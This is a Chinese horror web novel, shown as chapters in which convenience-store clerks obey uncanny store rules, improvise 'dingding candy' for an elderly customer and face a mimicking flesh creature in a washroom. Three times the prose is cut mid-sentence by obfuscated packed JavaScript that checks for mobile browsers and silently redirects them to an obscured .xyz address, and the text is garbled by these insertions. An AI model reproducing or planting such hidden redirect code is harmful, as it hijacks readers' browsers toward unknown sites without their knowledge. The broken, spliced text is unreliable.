不愧是时薪一百的活…… 舒司鸢大脑飞速运转,她本来以为自己已经通过戒指,来到一个安全的世界,不免松懈下来。 然而明空那句令她毛骨悚然的“便利店门口贴着的守则”,以及无需顾客主动便自动生成的投诉,无一不在提示她——此世界仍然存在诡异。 舒司鸢拨弄着小指上的戒指,她能不能再穿越一次啊? “麦芽糖要怎么做?”舒司鸢转悠到莘曼身边。 “需要麦芽和糯米,还好早上还剩下一个粽子。不过没有小麦。”莘曼把制作教程视频拖到开头,忽然一拍脑袋,后知后觉道,“呃,我们为什么要做这个?” 虽然老板说了要尽心尽力服务顾客,但也用不着顾客要什么给什么,给不了自己就从源头生产吧? “因为我们一小时有一百块。”舒司鸢随口扯了一句,应付莘曼。 “那怎么办?”明空焦急地问。 舒司鸢已经看完了制作过程,正在看视频发布者在视频末尾的简短科普。她把莘曼的手机换了个方向,指道:“你看这个。” 屏幕里是一块两个巴掌大的白色方块形状的糖,一只手用一把小锤敲着,将糖敲成小块的形状。 她把声音调大,拖回进度条,背景音里是类似“叮叮”的响声。 “也许可以找点白色的糖果一锅融了?或者直接用面粉烤个干巴面包出来?”她提议道,“我记得最后一排货架是卖厨具的,找找看有没有和锤子差不多的工具。” 眼下缺少工具,也只能这么糊弄了。 死马当活马医。难道要她三更半夜的带着个小学生在便利店里种小麦? 那场景,比诡异还诡异。 舒司鸢坚信,无论是她之前经历的里世界,还是如今新世界中诡异便利店,都一定有空子可以钻。 明莱要的‘叮叮糖’,或许重点不在“糖”,而在“叮叮”上。 “就这么办吧。”明空一听,连忙道:“用多少糖果我买多少。” 她扯过一个购物篮,继而又抱着篮子踌躇道:“可不可以请你帮我照顾一会儿外婆?” 舒司鸢明白她的言下之意,是希望她像刚才一样,在明莱被影响时能够阻止她。 她毫不犹豫地答应下来,反倒让明空犹疑不定。 “别担心,”她笑道,知道明空肯定猜出来了,店员要救人是以自身为代价的,“你外婆要是真的拿着这东西来结账,我照样也要拿差评。” 阻止明莱找到糖,她就是没有满足顾客的需求;放任明莱找到糖,则她协助顾客购买到不存在的货架上的商品,这种助力顾客违反规则的行为,在员工条例里绝对也是不被允许的。 左右都会得差评,她不如顺水推舟,让明空承她的情。 明空也绕明白了,她小脸皱了一下,眼睛看向地面,极轻地说了声“谢谢。”然后抓着篮子跑了。 莘曼没再发表任何评论,她被另一件事吸引注意,正在和杂乱无比的抽屉斗智斗勇,仔细埋头翻找什么,估计压根儿没听到。 几分钟后,她激动地抖出一大把丁零当啷的钥匙:“果然在这,上次看见老员工把仓库和大门的钥匙都放在这里。其他的肯定放一块儿了。” 她挑出其中一串贴着写有“意见箱”三个字的钥匙,往锁孔一插一扭,盖子一掀,打开了意见箱。 “开关是不是在内部啊?”她伸手摸索着意见箱,里面躺着四张黄色便签条,一看就是从搁在意见箱上的那沓便签本上撕下来的。 舒司鸢也凑过去看,余光里还在时刻注意着明莱的动向。 “我向店员问有没有‘叮叮糖’,她说店里没有。便利店东西这么少,怎么开的店?” “我问了好几次,店员一直说没有,也不想帮我找。后来被问烦了就假装找。服务态度不好。” “有个店员查了商品目录,又说没有我要的东西。肯定是懒得卖我东西。” “我自己找到‘叮叮糖’了,店员不让我买。” 莘曼逐一念出便签条上的内容。 她难以置信道:“这些是那个老婆婆写的吗?她什么时候写的,我没看到她动笔啊。” 比起有人投诉,她更惊讶于明莱是何时写下的便签。 “而且我明明没有态度不好嘛,”她委屈地说,“我是带着婆婆把每一排货架都走了一遍,好让她看清楚,店里是真的没有她要的东西啊,才不是假装的。” 同样被明莱投诉了两个差评的舒司鸢已经生死看淡,便签纸在她手中翻来翻去——如果把这些便签纸损毁,工作服能恢复原本的颜色吗? 说干就干,舒司鸢背着莘曼,悄悄撕掉投诉自己的那一张便签纸做试验,然而意见箱又是一道红光闪过。 又一条投诉新鲜出炉——指控舒司鸢竟然妄图私自删除差评。 而那张被她撕成两半的便签,安然无恙地躺回了意见箱。 “怎么回事?”莘曼瞪着凭空多出两条便签条的意见箱,手指哆嗦着夹起来,待看完上面的内容,她一下子转过身体朝向舒司鸢,把纸条拿给她看。 然而出现了令她更为惊恐的局面。 “小鸢,”莘曼的声音跟着哆嗦起来,“你的工作服怎么变成了浅绿色的……” 舒司鸢也在无语,知道挨差评后衣服会褪色,没想到第三次能直接给她褪个大的。 并且相当不妙的是,第三次褪色后,她感觉自己的脑袋仿佛被摘了下来,被丢进一片茫茫草野,从一片斜坡上滚下来。 打住。她使劲晃了晃头,再想下去,幻想就要成真了。 “刚才你让我找怎么做麦芽糖的时侯,我好像听到婆婆说什么‘第六层’,指的是货架吗?”莘曼一注意到一件不对劲的事情,便立刻连带着想起了所有的异常,“店里哪有六层的货架啊……” 她脸色逐渐失去血色,变得苍白不已:“我们不会是撞鬼了吧……” “差不多。”舒司鸢说,强撑着混沌的头脑,给她简单解释了当前的情况。 “难怪夜班一小时一百……”莘曼听完,发出了之前和她一样的感叹。 莘曼两掌相击,得出结论:“开得太低了!” 舒司鸢颇为认同。时薪一百固然打动人心,但换算一下,这不就是花八百块钱买条命吗?! 在她之前的世界,只要满十二岁,人人无时无刻不被拉入里世界中遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272678|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇诡异,她本人也常常进行价值零元的逃命冒险活动——但这是由于受到世界规则的限制——人们之间无法谈论任何关于“怪诞”的信息,而且极大多数里世界都是单人进入,大家想花钱找人带自己都不行。 饶是舒司鸢六年以来,经历了不下千次的里世界,也只有在最后一次遇到了另外两个人,正是她遇到秦迎和夏蓁蓁的那次。 现在想来,应该是那个里世界里,存在有戒指这种可以穿越时空的特殊物品,所以才会一次性投放这么多人吧。 舒司鸢合上意见箱的盖子,看了一眼莘曼。对方只受到两次投诉,精神状况还算稳定。 “先搞定明空的外婆吧,”她指了一下煮茶叶蛋的大锅,“这锅能用吗?烤箱呢?” “能用!”莘曼打开锅的电源,往里倒入小半锅水。 水咕嘟咕嘟沸腾起来,明空揣着满满一篮子糖果回来了。 舒司鸢帮明空把购物篮扛上桌面,三人配合结账。毕竟她拿不准先用后付这一行为,会不会被判定成没有尽到看守便利店的职责,让她和莘曼又拿个差评。 莘曼在便利店兼职已有两个月,干起活来很是熟练。明空刚付完钱,小票还未完全打印出来,舒司鸢拆开一袋面粉,倒进莘曼从橱柜里取出来的大盆里。 明莱隐隐有再次被异化的迹象,舒司鸢赶忙过去给她续上店员牌清醒话语术。 很好,那种脑袋在草原上翻滚的感觉再一次席卷了她,比之前还要强烈。 “你让我去呀。”莘曼看着她身上已然近乎白色的制服,不由心急地说。 舒司鸢扶着收银台,摆摆手示意自己没事。前两次不觉,等到第三次褪色时,那种思想被扭曲的感觉已经很明显了。她怕莘曼作为一个普通人,到时候承受不住,她又要多一个照顾和防范的人。 舒司鸢可不想和同事的头同处一屋,度过接下来的七个小时。 不过下一次明莱再发作,就必须得让莘曼上了。 她按捺着想把脑袋摘下来的冲动,去帮莘曼拆封糖果——另一边,明空为了救他外婆,力气大的出奇,这会儿已经把面团三两下揉完,丢进了烤箱里。 看着那一大坨的无规则形状的面团,舒司鸢祈祷它烤出来不要太硬,否则她们到时候敲不下来,又是白白浪费了时间。 明空解决完面团,也加入拆糖果的队伍。莘曼空出手来,用大勺搅着锅里的糖水。 粘稠程度差不多了,莘曼把糖汁刮到空碗里,送进冷冻柜最底层。 期间明莱又吵着说看到第六层了,莘曼举着勺子跑去安抚她。 最后人是摇摇晃晃回来的,好在舒司鸢预先给她提过醒,莘曼尚且控制住脑海中五彩缤纷的想法。 衣服颜色越是接近白色的店员,能帮助顾客清醒的时长也随之变短。 意识到这点,舒司鸢的目光不时在烤箱和冷冻柜之间移来移去。 分针走过几格,空气中渐渐蔓延开一股焦煳味,终于“叮”的一声,烤箱停止运作。 明空戴上手套,拉出托盘,放到收银台上。 “黑色的,不太像啊。”莘曼看着这团惨不忍睹的面团。 “抹点奶油吧。”舒司鸢摇晃手里的奶油罐子。几分钟前,她看到面团开始变黑的时候,就去拿来了。 舒司鸢挤空半罐奶油,莘曼用勺子刮匀。 明空推着明莱过来了。 舒司鸢扬起手里的锤子,一锤敲在烤焦的面包上,面包屑和奶油四溅。 “当、当、当”。她一下下地敲,明莱的视线被吸引,锁定在她们粗糙制作的盗版‘叮叮糖’上。 舒司鸢注视着缓步朝她走来的明莱。 救命,为什么她会有一丝虐待老人的微妙感觉。 6. 好多多便利店3 “叮、叮、叮……” 便利店的白炽灯一盏盏熄灭了,明莱在黑暗里无措而局促地站立,双手虎口紧贴着裤子的中缝线。 “小好……小好……” 她口中再次小声翻滚起那个烂熟于心的名字。 “啪”的一声,温馨的黄光亮起,明莱下意识耷拉下眼皮,又茫然地睁开。 周围的一切都披上一层朦胧的橘黄色光晕,厨房里炖着汤的锅咕嘟咕嘟冒着泡,排骨汤的香味悠悠传出,和常年浸润这所房屋的笔墨味纠缠。 明莱一怔——这味道她闻了有数十年了。 ……到底是几个十年呢? 明莱盯着微微凹陷的沙发上的坐垫,垂下的流苏一绺一绺——她人生的年头,竟比流苏的条数还要多了。 “妈?”一只黑乎乎的稚嫩小手在她眼前扇了扇。 明莱回过神来。 是明好——她的女儿,松开了手里的拉绳开关,歪着脑袋,嘴角勾起笑意。 “干嘛不开灯,屋里很暗诶。”明好刚放学到家,打了好几个补丁的红色书包一甩,大咧咧地躺到沙发上,“省那几个电费,却把眼睛熬坏了,多不值当。” 见饭桌上果然摞起厚厚一叠作业本,桌面上两本作业本摊开着批改到一半,她顿时半是抱怨半是关心道:“生病了就好好休息嘛……” 明莱的眼珠转了转,定格在那一叠卷边儿的作业本上。 对、对,她想起来了,学生们的作业还没改完。动作要快一点,明天就要带去。 “你先去洗手,然后把菜盛出来。”明莱踱着步子,不大利索地拖过椅子坐下,“妈把手上这本改完就吃饭。” 明好立刻把嘴撅得老高,却没说什么,闷声钻进厨房,鞋子把地板踩得很响。 明莱注视着那道泥鳅般灵活的小小身躯,她被木柴燃烧后的灰烟呛得打了个大大的喷嚏,边掩着口鼻咳嗽,边在拥挤的厨房掀开木制锅盖,汤勺连汤带水铲起几块排骨和玉米萝卜。 她看到看到明好用筷子夹起一块最小的排骨,放进嘴里嚼了许久。那两根筷子横在她手上,像是两条最笔直的横线——是了,这条横线上的问题最难回答。 可是这个学生做对了,明莱画上一个又漂亮又醒目的勾。字迹很眼熟,她把本子翻过来,扫了一眼姓名。 岑越 明莱的眉心舒展开来,岑越是她最喜爱的学生。认真好学,是她班里的第一名,既尊重老师也关爱同学。真好的学生啊,就是她爹妈不让读书…… 不锈钢盆搁到桌上,明好眉头夹了一下,随后呼啦啦收起作业本,她粗声粗气道:“吃饭!” 明莱放下手里的红笔,把笔夹在书页中合上,接过一碗冒尖的白米饭。 明好眼尖地瞥见本子上的名字,不满地冷哼一声。她不喜欢岑玉燕,不喜欢这个总是来她家,分走她一半麦芽糖的人。 明莱挑出一块最大的排骨,放到一旁干净的碟子里。然后才开始吃饭,她发现自己咬不动排骨了,尽管肉已经炖的烂熟。 看她不吃,明好也舍不得吃。 “都吃了吧。”明莱伸手抚平明好头上一缕翘着的头发丝,“吃完妈再买。” “今天不想吃。”明好塞满一口胡萝卜,筷子点点碟子,“这个是给岑玉燕的吗?” “是啊。”明莱也夹了一箸萝卜,“小越在家哪吃得饱饭……” 明好抿了抿唇,不说话了。她讨厌岑玉燕,但也可怜她。 饭菜和随之而来的沉默一起被她们咽下了。 明好争着收拾碗筷,她端着碗盆进了厨房,又端着一块用白布包裹的东西出来。 “你看。”她像炫耀捡到的珠宝那样,故作神秘地打开了白布。 那是一块宛如小孩子的手掌大的‘叮叮糖’。 “你不是爱吃吗?”明好得意地欣赏明莱脸上惊喜的表情,“我攒钱给你买的。” “当当。”明好像晃拨浪鼓一样晃晃手里的小锤,“现在是麦芽糖明大侠‘叮叮好’为你服务。” 明莱被她逗乐了,配合道:“行行行,顶顶好的大侠,给我敲一块吃吧。” “这么捧场,再送你一块。”明好被哄开心了,重新把白布盖上,拿锤子敲——这锤子是用来修院子里的篱笆的,老是在那些锈迹斑斑的钉子上敲敲打打的,明好觉得还是用纱布盖一层好。 明好简直是在乱敲,明莱却并不制止。 她仰躺进杂乱的噪音里,这嘈杂的声音竟能让她安心地闭上双眼。 “叮、叮、叮……” 明好敲了多少下了?这笨手笨脚的孩子……她捡到明好之前,就爱吃麦芽糖了。 她是什么时候捡到明好的? 明莱细细地回想。是在她第二十次吃到‘叮叮糖’的时候,是她人生的第二个十年。 而后第三个十年,她和明好一起生活,许愿她平平安安地长大。 第四个十年,长大的明好一如二十年前的她一样,也捡回来一个脏兮兮的小孩。 第五个十年,明莱、明好和明空一起生活。明好长得更大了,却没有平平安安。她未能如愿。 明莱睁开眼睛。她想起来了。她已活过了人生的七十个年头,她已有七十岁了。 而眼前为她敲下糖块的小女孩,她分明是明好,但却是四十年前的明好。 四十年前,岑越还不叫岑越,她叫岑玉燕。 四十年后,明好不在明莱的家里,明好失踪很久了。 “叮、叮、叮……” 敲糖的声音还在继续,一下一下敲碎了四周的家具,敲碎了鹅黄的灯光,敲碎了明好又黑又红的小脸。 那张脸缓缓虚化,又缓缓重合在另一张相似的脸上。 “外婆,”明空眨着和明好相像的一双眼睛,“要先付钱才能吃哦。” 明莱眼神清明,虽然对面前一团白色不明物体心存疑惑,但还是听从孙女的话,从兜里摸出一把零钱来。 这该怎么定价啊…… 莘曼一脸愁容。 “先把商品录入吧。”舒司鸢说,“不在便利店货品清单里的话,万一不算呢。” 莘曼的手一顿,觉得很有道理。她对准黑焦的面团拍了个照,上传到库存信息里,随手输了个奶油抹面巧克力面包。 她标上奶油喷罐的价格,然后往上抬了一两块,权当手工费。 “好了,婆婆您拿好。”莘曼把零钱找回给明莱。 钱付完了,明莱伸手去拿舒司鸢打包好的面包。明空抢先夺过去,拎在手上。 “我来拿着吧!”明空把袋子藏至身后。这毒玩意儿哪能吃? 可她外婆一直是个乐于尝试的人,说不定真会试试。明空握紧了袋子,等会出门她就找个垃圾桶丢了。 “咱们大半夜在这干嘛?”明莱问道,几道眼纹皱起来,她眯起眼睛,新奇地打量来打量去。 “还是你对我好。”她打趣明空道,“你妈可从来没带我这么晚出过门。” 明空扯了扯嘴角。明好规定的宵禁时间是晚上八点。即使她离家多年未归,她和外婆至今不敢造次。 “那现在回家吧。”明空没有解释,只说是自己睡到一半,嘴馋了想买点零食吃,一个人害怕才拉着外婆来。 “不着急,再转转。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272679|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明莱精神抖擞,背着手转悠开了。 “啊啊啊,外婆!”明空急得在原地转了个圈。 “你和你外婆接下来一段时间内不会再出事了。但你们最好还是尽快离开为好。” 舒司鸢擦着收银台:“第三条规则,顾客必须购买商品。这句‘商品’指的是顾客心中真正想要的东西,买完这类‘商品’的顾客,之后再待在便利店里,应该会安全很多。” “你看。你外婆买到了想要的‘叮叮糖’;你买到了想要救你外婆的糖果面粉;还有那个实习生,他想要的是咖啡和饭团。” 明空循着她的话,看看外婆,看看自己,又看看舒司鸢提到的实习生。明莱正好转到实习生旁边。 “哟,这怎么还倒了一个,”明莱煞有介事地评价道,“年轻人觉就是好。” “睡在这着凉了怎么办,家人该心疼了。”明莱自顾自嘀咕了一句,推了推实习生的肩膀。 实习生睡眼惺忪地揉了揉眼睛,迷迷瞪瞪地对上一双关切的眼睛。 “小伙子,早点回家吧。” 他朝明莱点点头,拎着公文包站起来,几口解决冷掉的饭团。 “垃圾丢这吧。”莘曼让出脚边的垃圾桶,对路过收银台的实习生说。 实习生微微弯腰,把包装袋丢在垃圾桶中,余光瞥见一只黑猫,正侧躺在深蓝色的矮凳上。 他呼吸乱了一拍:“那是你的猫吗?” “是我的。”舒司鸢回答道。 他又朝猫投去好几眼。芝麻似乎感受到背后的灼热视线,尾巴尖不耐烦地小幅度甩了甩。 “黑猫好啊。”明莱听见有小动物,也感兴趣地溜过来,“黑猫能镇邪呢。” “油光水滑的。”明莱伸长脖子往里瞧,夸赞道,“小姑娘你养的真好。” “每周会喂一次鱼油。”舒司鸢淡淡地说。 每次还得骗着吃。现在好了,别说补剂,下一顿饭都指不定在哪。 实习生临走前还看了好几眼芝麻。等他走后,明空和明莱也离开了。 便利店冷清下来。舒司鸢靠在椅背上,咬牙对抗大脑中的晕眩感,额角滑落几滴冷汗。 第六层货架…… 地板与货架最底层之间,凝聚出一条长长的白色虚影,接着长出模样怪异的商品,大多是真空包装的肉类食品。少有的几样画着卡通图案的零食,人物的眼珠转过来与她对视,嘴角越来越下弯。 身体动不了,视线控制不住地黏在第六层货架上,她牙齿发狠一咬。剧痛劈开沉陷幻觉的大脑,趁着清醒的一秒,连忙挪开目光。 血腥味扩散到鼻腔,身体摆脱无形的桎梏。舒司鸢抽了一张纸巾捂住下唇瓣,轻轻压着。 芝麻闻到血味,翻身爬起,爪子搭在她衣摆上。 “怎么了这是?”视野里有团黑影闪过,莘曼以为又生变故,慌忙转头,却见雪白的纸巾上洇开一点鲜艳的红。 “我看见不存在的货架了。”透着纸巾,舒司鸢的声音蒙上一层含混,她让莘曼也多加小心。 莘曼受污染的程度比她轻一些,但也好不到哪去。她时不时连喝几口冰过的矿泉水,好让自己冷静下来,似乎这样就能冰封住脑海中不断生成的想象。 听舒司鸢说完,莘曼爱幻想的大脑当即涌现一连串惊悚的场景。她一口气把手里剩下的半瓶水喝完,浇灭疯狂繁衍的幻想。 千万别再有顾客来了。莘曼用冰冷的手指按压一鼓一鼓的太阳穴。 嘴巴一圈冻到失去知觉,于是铃声“叮铃铃”打响时,莘曼张嘴,只吐出一缕白雾。 “欢迎光临。”舒司鸢接过她的话茬。 7. 好多多便利店4 一阵“哗啦啦”连响,有人不客气地撇开门帘,深色风衣捎带进晚风,吹凉室内的温暖。 男人大步来到收银台,身体随意一靠,指节敲了敲柜面:“老样子。” 舒司鸢从电脑后缓缓站起来:“?” “新来的?”他颇感意外,抹了把冒着青茬的下巴,语调懒散,“拿瓶你后面架子上的水。” “还有这个,一起结账。”男人脸上带着一股被强迫起床的怨气,尚未平息。他点点透明的柜子,自行拿了台面上一袋牛奶吐司。 舒司鸢替他取出烟,扫码结账的时候有意蹭到柜台上“禁止吸烟”的标识,白底红字明晃晃冲着他。 男人嗤笑一声,无视了她的小伎俩。他把烟盒抄进风衣兜里,递上一张会员卡:“第一次上夜班?” 舒司鸢边点头边刷卡:“一共两百二十元,打……五折。收您一百一十元。里面的余额还有……二十六万八千七百六十三块。” 要不是电脑上显示此卡主人是本店超级无敌至尊VIP客户的动画提醒,舒司鸢都要冲去把莘曼摇过来了——后者由于饮水过多,早早告辞上厕所去了。 持卡人名字很怪——林组长。 难道便利店老板和至尊VIP客户进行交易时,彼此之间必须要称职务? 舒司鸢又核对了一遍。这要是算错了,她得在便利店白干一年才够还债的。 舒司鸢把卡还给林组长,听到他问:“后面那只是你的猫吗?” 舒司鸢真是纳了闷了,怎么一个两个的,都对她的猫这么感兴趣? “它好像很紧张。”林组长点评道。 芝麻闭着眼睛,卧趴在冰凉的塑料矮凳上,两只前爪揣在胸口。 这是它心存戒心才会表现出来的一种睡姿,实际上两只耳朵还在支棱着听周围的动静,一有异动方便逃跑。 “它第一次来,不太熟悉环境吧。”舒司鸢随口应付一句,不想过多解释,以免激起对方的好奇心,再生事端。 毕竟目前看来,店员离开便利店的方法只有等到下班一种…… 她盼望林组长买完东西赶紧走。万一他也被迷惑了,她和莘曼再有十次机会也不够用的。 结果对方的手肘往收银台上一撑,大有一副要跟她聊到底的架势。 “不是说猫的感官很灵敏吗?”他压低声音道,“能够预知危险,也能感知到人类无法看见的磁场变化。” “有的,”舒司鸢胡乱扯着话头,“玩咬手鳄鱼玩具一次也没被咬到过。之前还发现过家里的水管漏了,我上次小臂有一块皮肤过敏也是它提醒的。” 如果芝麻真的能提前预警便利店的古怪之处,就算是薪水开到一千一小时她也……她选择照进不误。 “哦对了,还有陌生人半夜在门口停留时间过长的话,它会挠门。” 现在就有一个停留时间过长的陌生人。 那只猫正好转过脸来,金黄的瞳孔凝视着他,身体放低,看起来像是整个贴在凳面上。 林组长迅速移开与之对视的目光,却没有离去的意思。他语带失望,继续闲聊:“这么多年,我还以为终于进化出有灵性的猫了,之后能用在……。” “用到哪里?”舒司鸢快速打断,语速极快,“用来预测每一次诡异现象的出现?” 她逼视着他。 林组长拧开矿泉水的瓶盖,不紧不慢喝了一口:“很多年前有人研究过,后来终止了。” 他不说话了,开始扭着袋装吐司的铁丝条。舒司鸢等着下文,抄起剪刀咔嚓一刀——“便利店是什么情况?” “诶——”林组长怏然道,“新来的下手没轻没重的。剩下的我打算明早当早餐呢。” “套上。”舒司鸢拽下一只塑料袋,拍在收银台上。 林组长不满地收下了:“看你们情况还好,今晚没来精神状态不好的顾客?” “有一个老婆婆,”明白过来对方是来了解内情的专员,舒司鸢便不隐瞒了,“她要买的东西,店里没有。” “解决了就好。”林组长也在暗暗端量她。 女孩言谈举止都与常人无异,说明她受污染程度不深,甚至没被污染——亏他连轴转了两个礼拜,好不容易休上假。睡梦间被许弦的电话轰炸,说今晚已经接到了七次差评。 他一听那还得了。奈何下属全在任务中,林组长只得亲自连夜赶来。 然而到店一看,俩人都好端端坐着。 林组长当即在心里痛骂许弦,这人跟诡异结合后总爱遛人。 “你的搭档……”林组长试图套话。能在特殊顾客手上零差评,都多久没出现这样的新人了? 林组长望着舒司鸢清澈的双眸,一秒钟内做出决定,两个人他都要拉进自己的组里。 至于其他组长,谁让他们都不在总部? 有潜力的新人就是手慢无啊。 命里无时莫强求! 林组长满意地暗自斟酌,打算待会就回总部,直接拿着两人的个人信息表把章盖了。 舒司鸢却是脸色一变。 说起莘曼,她怎么还没回来? 不对。诡异便利店,女厕,孤身一人。 她简直集齐了恐怖片撞鬼要素! 舒司鸢立即冲向厕所。 面前是三扇一模一样的门,唯一的区别便是顶部贴着的标签。 女厕,男厕,和仓库。 其中,仓库的门上特地标有“禁止无关人员进入”的字样。 “莘曼?”她站在门口呼唤道。 舒司鸢不确定店员是否属于“无关人员”的范畴,便不敢贸然进入。 “我在这。” 一扇门后传来微弱的应答。 “莘曼。”她把耳朵贴到仓库门上,“是你的话,敲一下门。” 门后一片死寂。方才出声的人不再说话了。 “笃。”女厕里响起一道短促的敲门声。 她暂时跳过这扇门,去听女厕的动静。 缓慢、湿滑的刮擦声,是拖拽重物的声音,一步一步朝门口靠近,声响愈发清晰…… 舒司鸢猛地后退一大步远离门。她无端有种预感,再听下去,那东西要被拖进她耳朵里来了。 明知有异,她仍无法排除这扇门。说不定就是莘曼在被怪物拖来脱去呢,或者是莘曼在拖东西? 若是莘曼着急上厕所,根本没注意到异常,很有可能直接进了贴有“女洗手间”标识的房间。 指尖移到门把手上,虚虚搭着。至少这扇门后的情况,是已知的。 她一点一点下压门把手。 “小鸢、小鸢……是你吗……唔……” 男厕传来断断续续的呼救,还夹杂着一声被捂住嘴的呜咽,继而归于宁静。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272680|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 舒司鸢收回手,放弃判断。刚才来得急,这会儿她才想起便利店内的林组长,此人明显是专门处理这类诡异事件的。 然而她一回头,身后的走廊不知何时消失了,变成一堵墙壁。 得。安安分分找人吧。 “莘曼?”舒司鸢又试着喊道。 三扇门全都安静伫立,不再给予回应。看来,刚刚的动静便是全部的提示了。 头顶的灯光宛如人类眨眼那样亮灭一瞬,几乎感受不到什么变化。门却朝她逼进大半距离,迫使她挑选一扇进入。 灯光。 舒司鸢仰头观察天花板。三扇门各自占据一面墙壁,顶角线处装有三条灯带。 她的视线下落,多出来的一堵墙上,有一块轻微的凸起。表面刷成和墙一般的颜色,很容易被忽略过去。 那是三个开关。 她谨慎地按下第一个。 女厕的那一面墙壁暗下去。明明还有两盏灯亮着,光线到达那扇门前时,却仿佛被吞噬殆尽。 黑色的门扉上,亮起一片蓝色的荧光,喷溅在大半扇门上。星星点点,宛如蠕动的虫子被拍扁在门上风干了。 她按下其余两个开关。 荧光的形状有所改变,不过还是张牙舞爪地大片盘踞在门页上。 四方空间沉入浓稠的黑暗之中,唯有开关发出淡绿色的光芒,指引位置与方向。 舒司鸢的手还放在开关上,她不敢移开,怕光亮消失。 下一刻,她打开开关。 门离她又近了一些。 空间近乎逼仄。她再次按下开关。这一回,有一扇门的荧光消失了。 她回忆着标识,那里似乎是女厕? 舒司鸢心一横,摸索到门把手,往下一压。 “吱呀。”门打开一条小缝。 她透过门缝观察,门后的空间一览无余——室内明亮,有三个隔间,一高一低两个洗手池,角落堆着拖把和水桶。 舒司鸢将门推得更开些,伸进脑袋左右察看。 镜子内倒映出她的身影。她凝视良久,比划了几个动作。镜面中的她的身影一一照做。没有不对称,也没有延迟,更没有对着她露出奇奇怪怪的笑容。 舒司鸢稍稍放心,走了进去。以防门关上,她把门完全打开,并一直拉着门把手,没有放开。 脚下的浅米色瓷砖光洁如新,不像有拖拽的痕迹。 隔间的门与地面贴合,不留一丝空隙。她想知道里边的情况,就必须开门。 “莘曼。”她用气音叫了一声。在静谧的洗手间内,足够引起注意。 无人回应。 镜子上忽然亮起蓝光,她一惊,猝然回头。 另外两扇门移过来了,紧紧贴住女厕。上面蜿蜒的荧光恍若鬼手,错觉般扭动一下。 门想吃她。 她关上了门,挡住溢出的恶意。 也是由此,她发现门后贴着一张写有几行字的白纸。 【恭喜你进入正确的洗手间。请在本空间内遵循以下规则。】 【一、本空间对员工与顾客均开放。】 【二、进入隔间前,请敲门。直至隔间内无回应时,方可进入。进入隔间后,禁止抬头。】 【三、非保洁人员,禁止触碰清洁用品。】 【附:上述规则仅于今日生效,请留意。】 8. 好多多便利店5 身体剧烈颤抖,寒冷啃食着莘曼的意识。她被关在一方极其狭小的立式透明冰柜,双腿折叠,膝盖顶着胸口。 莘曼任凭眼泪在脸上乱淌,反正冰柜零下的温度能够轻易将其固定住。 呜呜呜呜呜为什么上个厕所都能撞邪……都怪她喝多了水,都怪她看错了门口贴着的标识。 呼吸化为白雾,涂抹在冰柜的内壁上,模糊了眼前那团正在伏动的红黄肉团。 冰柜里的莘曼像是一颗搓得圆圆的馅料,被包裹进了肉团里。莘曼望着柜外油腻的糊状物,感觉自己正在被孵化。 灯是她开的。那时她才看清,那盏她以为是吊灯的东西,其实是一滩绞过的肉泥,一块一块从天花板往下摔落。 她拔腿就跑。然而为了开灯,她靠得太近了。门失去她的支撑,早已重重阖上,还上了锁。 莘曼惊恐的看着那团肉在地上拼合,汇聚成一团与她身形近似的肉块。但它刚迈出一步就摔在地上,于是便朝她疾速爬近。 血淋淋的肉块粘住她,将她拖进冰柜。 她身体的热量大量流失,莘曼绝望地闭上双眼。 “莘曼。” 是不是有人在叫她?还是耳朵先被冻坏了?好熟悉的声音……不对,是真的有人在叫她!是小鸢! 莘曼抖开眼睫毛,她大喊:“我在这!” 声音弹在冰柜上被吸收,连她自己也无法确认是否喊出了这一声。 肉块却动了。更多的肉涌动在正对着她脸的那一面玻璃上。莘曼生出一种被凝视的感觉。 她的感觉没错。肉块模仿她的口型与声音,清晰无比地说了一句:“我在这。” 这句话也传到了她的耳朵里,声音是自己的,语调却如此平静无波。莘曼整个人头皮发麻,指尖挣扎着刮过冰柜——这是她唯一能动的部位了。 指甲断裂出血,零下的温度却封闭了她的痛觉。莘曼咬着嘴唇死死盯着门,拼命祈祷—— 不要进来! 舒司鸢没有进来,她站在门口谨慎地让她敲门。 莘曼还在庆幸,头顶的玩意儿晃了晃冰柜,竟是下去了。 肉块来回挥动两条下肢,奇形怪状地走到门前。组成手的那一块肉抬起,握成一个拳头,虚空砸了一下。 由于角度问题,落在莘曼眼里,就是它敲了一下门。 它不能主动开门出去,只能引诱人进来。意识到这点,莘曼的注意力全部集中到门把手上。 舒司鸢仍然没有开门进来。她深深呼出一口气。 一口气还没吐到底,肉块又扭动着出声:“小鸢、小鸢……是你吗……” 这一次,它的声音中已然染上几分害怕与怯意,拙劣的模仿渐趋惟妙惟肖。 肉块夸张地捂住不存在的嘴巴:“唔……” 却是许久,外面的人也没有开门进来。 